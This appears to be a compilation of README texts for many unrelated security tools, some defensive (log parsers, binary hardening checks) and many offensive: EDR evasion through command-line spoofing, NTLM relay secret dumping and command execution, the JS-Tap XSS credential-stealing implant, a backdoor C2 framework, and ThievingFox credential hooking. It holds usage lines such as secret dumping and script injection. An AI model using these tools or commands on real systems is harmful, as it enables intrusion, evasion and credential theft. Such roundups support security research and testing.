LOLSpoof is a an interactive shell program that automatically spoof the command line arguments of the spawned process. Just call your incriminate-looking command line LOLBin (e.g. powershell -w hidden -enc ZwBlAHQALQBwAHIAbwBjAGUA....) and LOLSpoof will ensure that the process creation telemetry appears legitimate and clear.
Why
Process command line is a very monitored telemetry, being thoroughly inspected by AV/EDRs, SOC analysts or threat hunters.
How
Prepares the spoofed command line out of the real one: lolbin.exe " " * sizeof(real arguments)
Spawns that suspended LOLBin with the spoofed command line
Gets the remote PEB address
Gets the address of RTL_USER_PROCESS_PARAMETERS struct
Gets the address of the command line unicode buffer
Overrides the fake command line with the real one
Resumes the main thread
Opsec considerations
Although this simple technique helps to bypass command line detection, it may introduce other suspicious telemetry: 1. Creation of suspended process 2. The new process has trailing spaces (but it's really easy to make it a repeated character or even random data instead) 3. Write to the spawned process with WriteProcessMemory
Build
Built with Nim 1.6.12 (compiling with Nim 2.X yields errors!)
nimble install winim
Known issue
Programs that clear or change the previous printed console messages (such as timeout.exe 10) breaks the program. when such commands are employed, you'll need to restart the console. Don't know how to fix that, open to suggestions.
SQLMC (SQL Injection Massive Checker) is a tool designed to scan a domain for SQL injection vulnerabilities. It crawls the given URL up to a specified depth, checks each link for SQL injection vulnerabilities, and reports its findings.
Features
Scans a domain for SQL injection vulnerabilities
Crawls the given URL up to a specified depth
Checks each link for SQL injection vulnerabilities
Reports vulnerabilities along with server information and depth
Installation
Install the required dependencies: bash pip3 install sqlmc
Usage
Run sqlmc with the following command-line arguments:
-u, --url: The URL to scan (required)
-d, --depth: The depth to scan (required)
-o, --output: The output file to save the results
Example usage:
sqlmc -u http://example.com -d 2
Replace http://example.com with the URL you want to scan and 3 with the desired depth of the scan. You can also specify an output file using the -o or --output flag followed by the desired filename.
The tool will then perform the scan and display the results.
BadExclusionsNWBO is an evolution from BadExclusions to identify folder custom or undocumented exclusions on AV/EDR.
How it works?
BadExclusionsNWBO copies and runs Hook_Checker.exe in all folders and subfolders of a given path. You need to have Hook_Checker.exe on the same folder of BadExclusionsNWBO.exe.
Hook_Checker.exe returns the number of EDR hooks. If the number of hooks is 7 or less means folder has an exclusion otherwise the folder is not excluded.
Original idea?
Since the release of BadExclusions I've been thinking on how to achieve the same results without creating that many noise. The solution came from another tool, https://github.com/asaurusrex/Probatorum-EDR-Userland-Hook-Checker.
If you download Probatorum-EDR-Userland-Hook-Checker and you run it inside a regular folder and on folder with an specific type of exclusion you will notice a huge difference. All the information is on the Probatorum repository.
Requirements
Each vendor apply exclusions on a different way. In order to get the list of folder exclusions an specific type of exclusion should be made. Not all types of exclusion and not all the vendors remove the hooks when they exclude a folder.
The user who runs BadExclusionsNWBO needs write permissions on the excluded folder in order to write Hook_Checker file and get the results.
Presented at CODE BLUE 2023, this project titled Enhanced Vulnerability Hunting in WDM Drivers with Symbolic Execution and Taint Analysis introduces IOCTLance, a tool that enhances its capacity to detect various vulnerability types in Windows Driver Model (WDM) drivers. In a comprehensive evaluation involving 104 known vulnerable WDM drivers and 328 unknow n ones, IOCTLance successfully unveiled 117 previously unidentified vulnerabilities within 26 distinct drivers. As a result, 41 CVEs were reported, encompassing 25 cases of denial of service, 5 instances of insufficient access control, and 11 examples of elevation of privilege.
positional arguments: path dir (including subdirectory) or file path to the driver(s) to analyze
optional arguments: -h, --help show this help message and exit -i IOCTLCODE, --ioctlcode IOCTLCODE analyze specified IoControlCode (e.g. 22201c) -T TOTAL_TIMEOUT, --total_timeout TOTAL_TIMEOUT total timeout for the whole symbolic execution (default 1200, 0 to unlimited) -t TIMEOUT, --timeout TIMEOUT timeout for analyze each IoControlCode (default 40, 0 to unlimited) -l LENGTH, --length LENGTH the limit of number of instructions for technique L engthLimiter (default 0, 0 to unlimited) -b BOUND, --bound BOUND the bound for technique LoopSeer (default 0, 0 to unlimited) -g GLOBAL_VAR, --global_var GLOBAL_VAR symbolize how many bytes in .data section (default 0 hex) -a ADDRESS, --address ADDRESS address of ioctl handler to directly start hunting with blank state (e.g. 140005c20) -e EXCLUDE, --exclude EXCLUDE exclude function address split with , (e.g. 140005c20,140006c20) -o, --overwrite overwrite x.sys.json if x.sys has been analyzed (default False) -r, --recursion do not kill state if detecting recursion (default False) -c, --complete get complete base state (default False) -d, --debug print debug info while analyzing (default False)
NTLM Relay Gat is a powerful tool designed to automate the exploitation of NTLM relays using ntlmrelayx.py from the Impacket tool suite. By leveraging the capabilities of ntlmrelayx.py, NTLM Relay Gat streamlines the process of exploiting NTLM relay vulnerabilities, offering a range of functionalities from listing SMB shares to executing commands on MSSQL databases.
Features
Multi-threading Support: Utilize multiple threads to perform actions concurrently.
SMB Shares Enumeration: List available SMB shares.
SMB Shell Execution: Execute a shell via SMB.
Secrets Dumping: Dump secrets from the target.
MSSQL Database Enumeration: List available MSSQL databases.
MSSQL Command Execution: Execute operating system commands via xp_cmdshell or start SQL Server Agent jobs.
Prerequisites
Before you begin, ensure you have met the following requirements:
proxychains properly configured with ntlmrelayx SOCKS relay port
Python 3.6+
Installation
To install NTLM Relay Gat, follow these steps:
Ensure that Python 3.6 or higher is installed on your system.
Clone NTLM Relay Gat repository:
git clone https://github.com/ad0nis/ntlm_relay_gat.git cd ntlm_relay_gat
Install dependencies, if you don't have them installed already:
pip install -r requirements.txt
NTLM Relay Gat is now installed and ready to use.
Usage
To use NTLM Relay Gat, make sure you've got relayed sessions in ntlmrelayx.py's socks command output and that you have proxychains configured to use ntlmrelayx.py's proxy, and then execute the script with the desired options. Here are some examples of how to run NTLM Relay Gat:
# List available SMB shares using 10 threads python ntlm_relay_gat.py --smb-shares -t 10
# Execute a shell via SMB python ntlm_relay_gat.py --smb-shell --shell-path /path/to/shell
# Dump secrets from the target python ntlm_relay_gat.py --dump-secrets
# List available MSSQL databases python ntlm_relay_gat.py --mssql-dbs
# Execute an operating system command via xp_cmdshell python ntlm_relay_gat.py --mssql-exec --mssql-method 1 --mssql-command 'whoami'
Disclaimer
NTLM Relay Gat is intended for educational and ethical penetration testing purposes only. Usage of NTLM Relay Gat for attacking targets without prior mutual consent is illegal. The developers of NTLM Relay Gat assume no liability and are not responsible for any misuse or damage caused by this tool.
License
This project is licensed under the MIT License - see the LICENSE file for details.
A command line Windows API tracing tool for Golang binaries.
Note: This tool is a PoC and a work-in-progress prototype so please treat it as such. Feedbacks are always welcome!
How it works?
Although Golang programs contains a lot of nuances regarding the way they are built and their behavior in runtime they still need to interact with the OS layer and that means at some point they do need to call functions from the Windows API.
The Go runtime package contains a function called asmstdcall and this function is a kind of "gateway" used to interact with the Windows API. Since it's expected this function to call the Windows API functions we can assume it needs to have access to information such as the address of the function and it's parameters, and this is where things start to get more interesting.
Asmstdcall receives a single parameter which is pointer to something similar to the following structure:
Some of these fields are filled after the API function is called, like the return value, others are received by asmstdcall, like the function address, the number of arguments and the list of arguments. Regardless when those are set it's clear that the asmstdcall function manipulates a lot of interesting information regarding the execution of programs compiled in Golang.
The gftrace leverages asmstdcall and the way it works to monitor specific fields of the mentioned struct and log it to the user. The tool is capable of log the function name, it's parameters and also the return value of each Windows function called by a Golang application. All of it with no need to hook a single API function or have a signature for it.
The tool also tries to ignore all the noise from the Go runtime initialization and only log functions called after it (i.e. functions from the main package).
If you want to know more about this project and research check the blogpost.
Make sure gftrace.exe, gftrace.dll and gftrace.cfg are in the same directory.
Specify which API functions you want to trace in the gftrace.cfg file (the tool does not work without API filters applied).
Run gftrace.exe passing the target Golang program path as a parameter.
gftrace.exe <filepath> <params>
Configuration
All you need to do is specify which functions you want to trace in the gftrace.cfg file, separating it by comma with no spaces:
CreateFileW,ReadFile,CreateProcessW
The exact Windows API functions a Golang method X of a package Y would call in a specific scenario can only be determined either by analysis of the method itself or trying to guess it. There's some interesting characteristics that can be used to determine it, for example, Golang applications seems to always prefer to call functions from the "Wide" and "Ex" set (e.g. CreateFileW, CreateProcessW, GetComputerNameExW, etc) so you can consider it during your analysis.
The default config file contains multiple functions in which I tested already (at least most part of them) and can say for sure they can be called by a Golang application at some point. I'll try to update it eventually.
Examples
Tracing CreateFileW() and ReadFile() in a simple Golang file that calls "os.ReadFile" twice:
[x] Add support to files calling functions via the "IAT jmp table" instead of the API call directly in asmstdcall.
[x] Add support to cmdline parameters for the target process
[ ] Send the tracing log output to a file by default to make it better to filter. Currently there's no separation between the target file and gftrace output. An alternative is redirect gftrace output to a file using the command line.
:warning: Warning
The tool inspects the target binary dynamically and it means the file being traced is executed. If you're inspecting a malware or an unknown software please make sure you do it in a controlled environment.
Golang programs can be very noisy depending the file and/or function being traced (e.g. VirtualAlloc is always called multiple times by the runtime package, CreateFileW is called multiple times before a call to CreateProcessW, etc). The tool ignores the Golang runtime initialization noise but after that it's up to the user to decide what functions are better to filter in each scenario.
License
The gftrace is published under the GPL v3 License. Please refer to the file named LICENSE for more information.
HardeningMeter is an open-source Python tool carefully designed to comprehensively assess the security hardening of binaries and systems. Its robust capabilities include thorough checks of various binary exploitation protectionmechanisms, including Stack Canary, RELRO, randomizations (ASLR, PIC, PIE), None Exec Stack, Fortify, ASAN, NX bit. This tool is suitable for all types of binaries and provides accurate information about the hardening status of each binary, identifying those that deserve attention and those with robust security measures. Hardening Meter supports all Linux distributions and machine-readable output, the results can be printed to the screen a table format or be exported to a csv. (For more information see Documentation.md file)
Execute Scanning Example
Scan the '/usr/bin' directory, the '/usr/sbin/newusers' file, the system and export the results to a csv file.
python3 HardeningMeter.py -f /bin/cp -s
Installation Requirements
Before installing HardeningMeter, make sure your machine has the following: 1. readelf and file commands 2. python version 3 3. pip 4. tabulate
pip install tabulate
Install HardeningMeter
The very latest developments can be obtained via git.
Clone or download the project files (no compilation nor installation is required)
Specify the files you want to scan, the argument can get more than one file seperated by spaces.
-d --directory
Specify the directory you want to scan, the argument retrieves one directory and scan all ELF files recursively.
-e --external
Specify whether you want to add external checks (False by default).
-m --show_missing
Prints according to the order, only those files that are missing security hardening mechanisms and need extra attention.
-s --system
Specify if you want to scan the system hardening methods.
-c --csv_format'
Specify if you want to save the results to csv file (results are printed as a table to stdout by default).
Results
HardeningMeter's results are printed as a table and consisted of 3 different states: - (X) - This state indicates that the binary hardening mechanism is disabled. - (V) - This state indicates that the binary hardening mechanism is enabled. - (-) - This state indicates that the binary hardening mechanism is not relevant in this particular case.
Notes
When the default language on Linux is not English make sure to add "LC_ALL=C" before calling the script.
JavaScript payload and supporting software to be used as XSS payload or post exploitation implant to monitor users as they use the targeted application. Also includes a C2 for executing custom JavaScript payloads in clients.
You can read the original blog post about JS-Tap here: javascript-for-red-teams">https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams
I do not plan on creating migration scripts for the database, and version number bumps often involve database schema changes (check the changelogs). You should probably delete your jsTap.db database on version bumps. If you have custom payloads in your JS-Tap server, make sure you export them before the upgrade.
Introduction
JS-Tap is a generic JavaScript payload and supporting software to help red teamers attack webapps. The JS-Tap payload can be used as an XSS payload or as a post exploitation implant.
The payload does not require the targeted user running the payload to be authenticated to the application being attacked, and it does not require any prior knowledge of the application beyond finding a way to get the JavaScript into the application.
Instead of attacking the application server itself, JS-Tap focuses on the client-side of the application and heavily instruments the client-side code.
The example JS-Tap payload is contained in the telemlib.js file in the payloads directory, however any file in this directory is served unauthenticated. Copy the telemlib.js file to whatever filename you wish and modify the configuration as needed. This file has not been obfuscated. Prior to using in an engagement strongly consider changing the naming of endpoints, stripping comments, and highly obfuscating the payload.
Make sure you review the configuration section below carefully before using on a publicly exposed server.
Data Collected
Client IP address, OS, Browser
User inputs (credentials, etc.)
URLs visited
Cookies (that don't have httponly flag set)
Local Storage
Session Storage
HTML code of pages visited (if feature enabled)
Screenshots of pages visited
Copy of Form Submissions
Copy of XHR API calls (if monkeypatch feature enabled)
Endpoint
Method (GET, POST, etc.)
Headers set
Request body and response body
Copy of Fetch API calls (if monkeypatch feature enabled)
Endpoint
Method (GET, POST, etc.)
Headers set
Request body and response body
Note: ability to receive copies of XHR and Fetch API calls works in trap mode. In implant mode only Fetch API can be copied currently.
Operating Modes
The payload has two modes of operation. Whether the mode is trap or implant is set in the initGlobals() function, search for the window.taperMode variable.
Trap Mode
Trap mode is typically the mode you would use as a XSS payload. Execution of XSS payloads is often fleeting, the user viewing the page where the malicious JavaScript payload runs may close the browser tab (the page isn't interesting) or navigate elsewhere in the application. In both cases, the payload will be deleted from memory and stop working. JS-Tap needs to run a long time or you won't collect useful data.
Trap mode combats this by establishing persistence using an iFrame trap technique. The JS-Tap payload will create a full page iFrame, and start the user elsewhere in the application. This starting page must be configured ahead of time. In the initGlobals() function search for the window.taperstartingPage variable and set it to an appropriate starting location in the target application.
In trap mode JS-Tap monitors the location of the user in the iframe trap and it spoofs the address bar of the browser to match the location of the iframe.
Note that the application targeted must allow iFraming from same-origin or self if it's setting CSP or X-Frame-Options headers. JavaScript based framebusters can also prevent iFrame traps from working.
Note, I've had good luck using Trap Mode for a post exploitation implant in very specific locations of an application, or when I'm not sure what resources the application is using inside the authenticated section of the application. You can put an implant in the login page, with trap mode and the trap mode start page set to window.location.href (i.e. current location). The trap will set when the user visits the login page, and they'll hopefully contine into the authenticated portions of the application inside the iframe trap.
A user refreshing the page will generally break/escape the iframe trap.
Implant Mode
Implant mode would typically be used if you're directly adding the payload into the targeted application. Perhaps you have a shell on the server that hosts the JavaScript files for the application. Add the payload to a JavaScript file that's used throughout the application (jQuery, main.js, etc.). Which file would be ideal really depends on the app in question and how it's using JavaScript files. Implant mode does not require a starting page to be configured, and does not use the iFrame trap technique.
A user refreshing the page in implant mode will generally continue to run the JS-Tap payload.
Installation and Start
Requires python3. A large number of dependencies are required for the jsTapServer, you are highly encouraged to use python virtual environments to isolate the libraries for the server software (or whatever your preferred isolation method is).
Example:
mkdir jsTapEnvironment python3 -m venv jsTapEnvironment source jsTapEnvironment/bin/activate cd jsTapEnvironment git clone https://github.com/hoodoer/JS-Tap cd JS-Tap pip3 install -r requirements.txt
run in debug/single thread mode: python3 jsTapServer.py
run with gunicorn multithreaded (production use): ./jstapRun.sh
A new admin password is generated on startup. If you didn't catch it in the startup print statements you can find the credentials saved to the adminCreds.txt file.
If an existing database is found by jsTapServer on startup it will ask you if you want to keep existing clients in the database or drop those tables to start fresh.
Note that on Mac I also had to install libmagic outside of python.
brew install libmagic
Playing with JS-Tap locally is fine, but to use in a proper engagment you'll need to be running JS-Tap on publicly accessible VPS and setup JS-Tap with PROXYMODE set to True. Use NGINX on the front end to handle a valid certificate.
Configuration
JS-Tap Server Configuration
Debug/Single thread config
If you're running JS-Tap with the jsTapServer.py script in single threaded mode (great for testing/demos) there are configuration options directly in the jsTapServer.py script.
Proxy Mode
For production use JS-Tap should be hosted on a publicly available server with a proper SSL certificate from someone like letsencrypt. The easiest way to deploy this is to allow NGINX to act as a front-end to JS-Tap and handle the letsencrypt cert, and then forward the decrypted traffic to JS-Tap as HTTP traffic locally (i.e. NGINX and JS-Tap run on the same VPS).
If you set proxyMode to true, JS-Tap server will run in HTTP mode, and take the client IP address from the X-Forwarded-For header, which NGINX needs to be configured to set.
When proxyMode is set to false, JS-Tap will run with a self-signed certificate, which is useful for testing. The client IP will be taken from the source IP of the client.
Data Directory
The dataDirectory parameter tells JS-Tap where the directory is to use for the SQLite database and loot directory. Not all "loot" is stored in the database, screenshots and scraped HTML files in particular are not.
Server Port
To change the server port configuration see the last line of jsTapServer.py
Gunicorn is the preferred means of running JS-Tap in production. The same settings mentioned above can be set in the jstapRun.sh bash script. Values set in the startup script take precedence over the values set directly in the jsTapServer.py script when JS-Tap is started with the gunicorn startup script.
A big difference in configuration when using Gunicorn for serving the application is that you need to configure the number of workers (heavy weight processes) and threads (lightweight serving processes). JS-Tap is a very I/O heavy application, so using threads in addition to workers is beneficial in scaling up the application on multi-processor machines. Note that if you're using NGINX on the same box you need to configure NGNIX to also use multiple processes so you don't bottleneck on the proxy itself.
At the top of the jstapRun.sh script are the numWorkers and numThreads parameters. I like to use number of CPUs + 1 for workers, and 4-8 threads depending on how beefy the processors are. For NGINX in its configuration I typically set worker_processes auto;
Proxy Mode is set by the PROXYMODE variable, and the data directory with the DATADIRECTORY variable. Note the data directory variable needs a trailing '/' added.
Using the gunicorn startup script will use a self-signed cert when started with PROXYMODE set to False. You need to generate that self-signed cert first with: openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
telemlib.js Configuration
These configuration variables are in the initGlobals() function.
JS-Tap Server Location
You need to configure the payload with the URL of the JS-Tap server it will connect back to.
If you want the trap to start on the current page, instead of redirecting the user to a different page in the iframe trap, you can use:
window.taperstartingPage = window.location.href;
Client Tag
Useful if you're using JS-Tap against multiple applications or deployments at once and want a visual indicator of what payload was loaded. Remember that the entire /payloads directory is served, you can have multiple JS-Tap payloads configured with different modes, start pages, and clien tags.
This tag string (keep it short!) is prepended to the client nickname in the JS-Tap portal. Setup multiple payloads, each with the appropriate configuration for the application its being used against, and add a tag indicating which app the client is running.
window.taperTag = 'whatever';
Custom Payload Tasks
Used to set if clients are checking for Custom Payload tasks, and how often they're checking. The jitter settings Let you optionally set a floor and ceiling modifier. A random value between these two numbers will be picked and added to the check delay. Set these to 0 and 0 for no jitter.
true/false setting on whether a copy of the HTML code of each page viewed is exfiltrated.
window.taperexfilHTML = true;
Copy Form Submissions
true/false setting on whether to intercept a copy of all form posts.
window.taperexfilFormSubmissions = true;
MonkeyPatch APIs
Enable monkeypatching of XHR and Fetch APIs. This works in trap mode. In implant mode, only Fetch APIs are monkeypatched. Monkeypatching allows JavaScript to be rewritten at runtime. Enabling this feature will re-write the XHR and Fetch networking APIs used by JavaScript code in order to tap the contents of those network calls. Not that jQuery based network calls will be captured in the XHR API, which jQuery uses under the hood for network calls.
window.monkeyPatchAPIs = true;
Screenshot after API calls
By default JS-Tap will capture a new screenshot after the user navigates to a new page. Some applications do not change their path when new data is loaded, which would cause missed screenshots. JS-Tap can be configured to capture a new screenshot after an XHR or Fetch API call is made. These API calls are often used to retrieve new data to display. Two settings are offered, one to enable the "after API call screenshot", and a delay in milliseconds. X milliseconds after the API call JS-Tap will capture the new screenshot.
Login with the admin credentials provided by the server script on startup.
Clients show up on the left, selecting one will show a time series of their events (loot) on the right.
The clients list can be sorted by time (first seen, last update received) and the list can be filtered to only show the "starred" clients. There is also a quick filter search above the clients list that allows you to quickly filter clients that have the entered string. Useful if you set an optional tag in the payload configuration. Optional tags show up prepended to the client nickname.
Each client has an 'x' button (near the star button). This allows you to delete the session for that client, if they're sending junk or useless data, you can prevent that client from submitting future data.
When the JS-Tap payload starts, it retrieves a session from the JS-Tap server. If you want to stop all new client sessions from being issues, select Session Settings at the top and you can disable new client sessions. You can also block specific IP addresses from receiving a session in here.
Each client has a "notes" feature. If you find juicy information for that particular client (credentials, API tokens, etc) you can add it to the client notes. After you've reviewed all your clients and made you notes, the View All Notes feature at the top allows you to export all notes from all clients at once.
The events list can be filtered by event type if you're trying to focus on something specific, like screenshots. Note that the events/loot list does not automatically update (the clients list does). If you want to load the latest events for the client you need to select the client again on the left.
Custom Payloads
Starting in version 1.02 there is a custom payload feature. Multiple JavaScript payloads can be added in the JS-Tap portal and executed on a single client, all current clients, or set to autorun on all future clients. Payloads can be written/edited within the JS-Tap portal, or imported from a file. Payloads can also be exported. The format for importing payloads is simple JSON. The JavaScript code and description are simply base64 encoded.
The main user interface for custom payloads is from the top menu bar. Select Custom Payloads to open the interface. Any existing payloads will be shown in a list on the left. The button bar allows you to import and export the list. Payloads can be edited on the right side. To load an existing payload for editing select the payload by clicking on it in the Saved Payloads list. Once you have payloads defined and saved, you can execute them on clients.
In the main Custom Payloads view you can launch a payload against all current clients (the Run Payload button). You can also toggle on the Autorun attribute of a payload, which means that all new clients will run the payload. Note that existing clients will not run a payload based on the Autorun setting.
You can toggle on Repeat Payload and the payload will be tasked for each client when they check for tasks. Remember, the rate that a client checks for custom payload tasks is variable, and that rate can be changed in the main JS-Tap payload configuration. That rate can be changed with a custom payload (calling the updateTaskCheckInterval(newDelay) function). The jitter in the task check delay can be set with the updateTaskCheckJitter(newTop, newBottom) function.
The Clear All Jobs button in the custom payload UI will delete all custom payload jobs from the queue for all clients and resets the auto/repeat run toggles.
To run a payload on a single client user the Run Payload button on the specific client you wish to run it on, and then hit the run button for the specific payload you wish to use. You can also set Repeat Payload on individual clients.
Tools
A few tools are included in the tools subdirectory.
clientSimulator.py
A script to stress test the jsTapServer. Good for determining roughly how many clients your server can handle. Note that running the clientSimulator script is probably more resource intensive than the actual jsTapServer, so you may wish to run it on a separate machine.
At the top of the script is a numClients variable, set to how many clients you want to simulator. The script will spawn a thread for each, retrieve a client session, and send data in simulating a client.
numClients = 50
You'll also need to configure where you're running the jsTapServer for the clientSimulator to connect to:
apiServer = "https://127.0.0.1:8444"
JS-Tap run using gunicorn scales quite well.
MonkeyPatchApp
A simple app used for testing XHR/Fetch monkeypatching, but can give you a simple app to test the payload against in general.
Run with:
python3 monkeyPatchLab.py
By default this will start the application running on:
https://127.0.0.1:8443
Pressing the "Inject JS-Tap payload" button will run the JS-Tap payload. This works for either implant or trap mode. You may need to point the monkeyPatchLab application at a new JS-Tap server location for loading the payload file, you can find this set in the injectPayload() function in main.js
function injectPayload() { document.head.appendChild(Object.assign(document.createElement('script'), {src:'https://127.0.0.1:8444/lib/telemlib.js',type:'text/javascript'})); }
formParser.py
Abandoned tool, is a good start on analyzing HTML for forms and parsing out their parameters. Intended to help automatically generate JavaScript payloads to target form posts.
You should be able to run it on exfiltrated HTML files. Again, this is currently abandonware.
generateIntelReport.py
No longer working, used before the web UI for JS-Tap. The generateIntelReport script would comb through the gathered loot and generate a PDF report. Saving all the loot to disk is now disabled for performance reasons, most of it is stored in the datagbase with the exception of exfiltratred HTML code and screenshots.
MasterParser stands as a robust Digital Forensics and Incident Response tool meticulously crafted for the analysis of Linux logs within the var/log directory. Specifically designed to expedite the investigative process for security incidents on Linux systems, MasterParser adeptly scans supported logs, such as auth.log for example, extract critical details including SSH logins, user creations, event names, IP addresses and much more. The tool's generated summary presents this information in a clear and concise format, enhancing efficiency and accessibility for Incident Responders. Beyond its immediate utility for DFIR teams, MasterParser proves invaluable to the broader InfoSec and IT community, contributing significantly to the swift and comprehensive assessment of security events on Linux platforms.
MasterParser Wallpapers
Love MasterParser as much as we do? Dive into the fun and jazz up your screen with our exclusive MasterParser wallpaper! Click the link below and get ready to add a splash of excitement to your device! Download Wallpaper
Supported Logs Format
This is the list of supported log formats within the var/log directory that MasterParser can analyze. In future updates, MasterParser will support additional log formats for analysis. |Supported Log Formats List| | --- | | auth.log |
Feature & Log Format Requests:
If you wish to propose the addition of a new feature \ log format, kindly submit your request by creating an issue Click here to create a request
How To Use ?
How To Use - Text Guide
From this GitHub repository press on "<> Code" and then press on "Download ZIP".
From "MasterParser-main.zip" export the folder "MasterParser-main" to you Desktop.
Open a PowerSehll terminal and navigate to the "MasterParser-main" folder.
# How to navigate to "MasterParser-main" folder from the PS terminal PS C:\> cd "C:\Users\user\Desktop\MasterParser-main\"
Now you can execute the tool, for example see the tool command menu, do this:
# How to show MasterParser menu PS C:\Users\user\Desktop\MasterParser-main> .\MasterParser.ps1 -O Menu
To run the tool, put all your /var/log/* logs in to the 01-Logs folder, and execute the tool like this:
# How to run MasterParser PS C:\Users\user\Desktop\MasterParser-main> .\MasterParser.ps1 -O Start
The C2 Cloud is a robust web-based C2 framework, designed to simplify the life of penetration testers. It allows easy access to compromised backdoors, just like accessing an EC2 instance in the AWS cloud. It can manage several simultaneous backdoor sessions with a user-friendly interface.
C2 Cloud is open source. Security analysts can confidently perform simulations, gaining valuable experience and contributing to the proactive defense posture of their organizations.
π Anywhere Access: Reach the C2 Cloud from any location. π Multiple Backdoor Sessions: Manage and support multiple sessions effortlessly. π±οΈ One-Click Backdoor Access: Seamlessly navigate to backdoors with a simple click. π Session History Maintenance: Track and retain complete command and response history for comprehensive analysis.
Tech Stack
π οΈ Flask: Serving web and API traffic, facilitating reverse HTTP(s) requests. π TCP Socket: Serving reverse TCP requests for enhanced functionality. π Nginx: Effortlessly routing traffic between web and backend systems. π¨ Redis PubSub: Serving as a robust message broker for seamless communication. π Websockets: Delivering real-time updates to browser clients for enhanced user experience. πΎ Postgres DB: Ensuring persistent storage for seamless continuity.
Architecture
Application setup
Management port: 9000
Reversse HTTP port: 8000
Reverse TCP port: 8888
Clone the repo
Optional: Update chait_id, bot_token in c2-telegram/config.yml
Execute docker-compose up -d to start the containers Note: The c2-api service will not start up until the database is initialized. If you receive 500 errors, please try after some time.
Automate the process of analyzing web server logs with the Python Web Log Analyzer. This powerful tool is designed to enhance security by identifying and detecting various types of cyber attacks within your server logs. Stay ahead of potential threats with features that include:
Features
Attack Detection: Identify and flag potential Cross-Site Scripting (XSS), Local File Inclusion (LFI), Remote File Inclusion (RFI), and other common web application attacks.
Rate Limit Monitoring: Detect suspicious patterns in multiple requests made in a short time frame, helping to identify brute-force attacks or automated scanning tools.
Automated Scanner Detection: Keep your web applications secure by identifying requests associated with known automated scanning tools or vulnerability scanners.
User-Agent Analysis: Analyze and identify potentially malicious User-Agent strings, allowing you to spot unusual or suspicious behavior.
Future Features
This project is actively developed, and future features may include:
IP Geolocation: Identify the geographic location of IP addresses in the logs.
Real-time Monitoring: Implement real-time monitoring capabilities for immediate threat detection.
After cloning the repository to your local machine, you can initiate the application by executing the command python3 WLA-cli.py. simple usage example : python3 WLA-cli.py -l LogSampls/access.log -t
use -h or --help for more detailed usage examples : python3 WLA-cli.py -h
ThievingFox is a collection of post-exploitation tools to gather credentials from various password managers and windows utilities. Each module leverages a specific method of injecting into the target process, and then hooks internals functions to gather crendentials.
.NET development environment must also be installed. From Visual Studio, navigate to Tools > Get Tools And Features > Install ".NET desktop development"
Finally, python dependancies must be installed :
pip install -r client/requirements.txt
ThievingFox works with python >= 3.11
NOTE : On a Windows host, in order to use the KeePass module, msbuild must be available in the PATH. This can be achieved by running the client from within a Visual Studio Developper Powershell (Tools > Command Line > Developper Powershell)
Targets
All modules have been tested on the following Windows versions :
Windows Version
Windows Server 2022
Windows Server 2019
Windows Server 2016
Windows Server 2012R2
Windows 10
Windows 11
[!CAUTION] Modules have not been tested on other version, and are expected to not work.
Application
Injection Method
KeePass.exe
AppDomainManager Injection
KeePassXC.exe
DLL Proxying
LogonUI.exe (Windows Login Screen)
COM Hijacking
consent.exe (Windows UAC Popup)
COM Hijacking
mstsc.exe (Windows default RDP client)
COM Hijacking
RDCMan.exe (Sysinternals' RDP client)
COM Hijacking
MobaXTerm.exe (3rd party RDP client)
COM Hijacking
Usage
[!CAUTION] Although I tried to ensure that these tools do not impact the stability of the targeted applications, inline hooking and library injection are unsafe and this might result in a crash, or the application being unstable. If that were the case, using the cleanup module on the target should be enough to ensure that the next time the application is launched, no injection/hooking is performed.
ThievingFox contains 3 main modules : poison, cleanup and collect.
Poison
For each application specified in the command line parameters, the poison module retrieves the original library that is going to be hijacked (for COM hijacking and DLL proxying), compiles a library that has matches the properties of the original DLL, uploads it to the server, and modify the registry if needed to perform COM hijacking.
To speed up the process of compilation of all libraries, a cache is maintained in client/cache/.
--mstsc, --rdcman, and --mobaxterm have a specific option, respectively --mstsc-poison-hkcr, --rdcman-poison-hkcr, and --mobaxterm-poison-hkcr. If one of these options is specified, the COM hijacking will replace the registry key in the HKCR hive, meaning all users will be impacted. By default, only all currently logged in users are impacted (all users that have a HKCU hive).
--keepass and --keepassxc have specific options, --keepass-path, --keepass-share, and --keepassxc-path, --keepassxc-share, to specify where these applications are installed, if it's not the default installation path. This is not required for other applications, since COM hijacking is used.
The KeePass modules requires the Visual C++ Redistributable to be installed on the target.
Multiple applications can be specified at once, or, the --all flag can be used to target all applications.
[!IMPORTANT] Remember to clean the cache if you ever change the --tempdir parameter, since the directory name is embedded inside native DLLs.
positional arguments: target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]
options: -h, --help show this help message and exit -hashes HASHES, --hashes HASHES LM:NT hash -aesKey AESKEY, --aesKey AESKEY AES key to use for Kerberos Authentication -k Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version. -dc-ip DC_IP, --dc-ip DC_IP IP Address of the domain controller -no-pass, --no-pass Do not prompt for password --tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox) --keepass Try to poison KeePass.exe --keepass-path KEEPASS_PATH The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/) --keepass-share KEEPASS_SHARE The share on which KeePass is installed (Default: c$) --keepassxc Try to poison KeePassXC.exe --keepassxc-path KEEPASSXC_PATH The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/) --ke epassxc-share KEEPASSXC_SHARE The share on which KeePassXC is installed (Default: c$) --mstsc Try to poison mstsc.exe --mstsc-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for mstsc, which will also work for user that are currently not logged in (Default: False) --consent Try to poison Consent.exe --logonui Try to poison LogonUI.exe --rdcman Try to poison RDCMan.exe --rdcman-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for RDCMan, which will also work for user that are currently not logged in (Default: False) --mobaxterm Try to poison MobaXTerm.exe --mobaxterm-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for MobaXTerm, which will also work for user that are currently not logged in (Default: False) --all Try to poison all applications
Cleanup
For each application specified in the command line parameters, the cleanup first removes poisonning artifacts that force the target application to load the hooking library. Then, it tries to delete the library that were uploaded to the remote host.
For applications that support poisonning of both HKCU and HKCR hives, both are cleaned up regardless.
Multiple applications can be specified at once, or, the --all flag can be used to cleanup all applications.
It does not clean extracted credentials on the remote host.
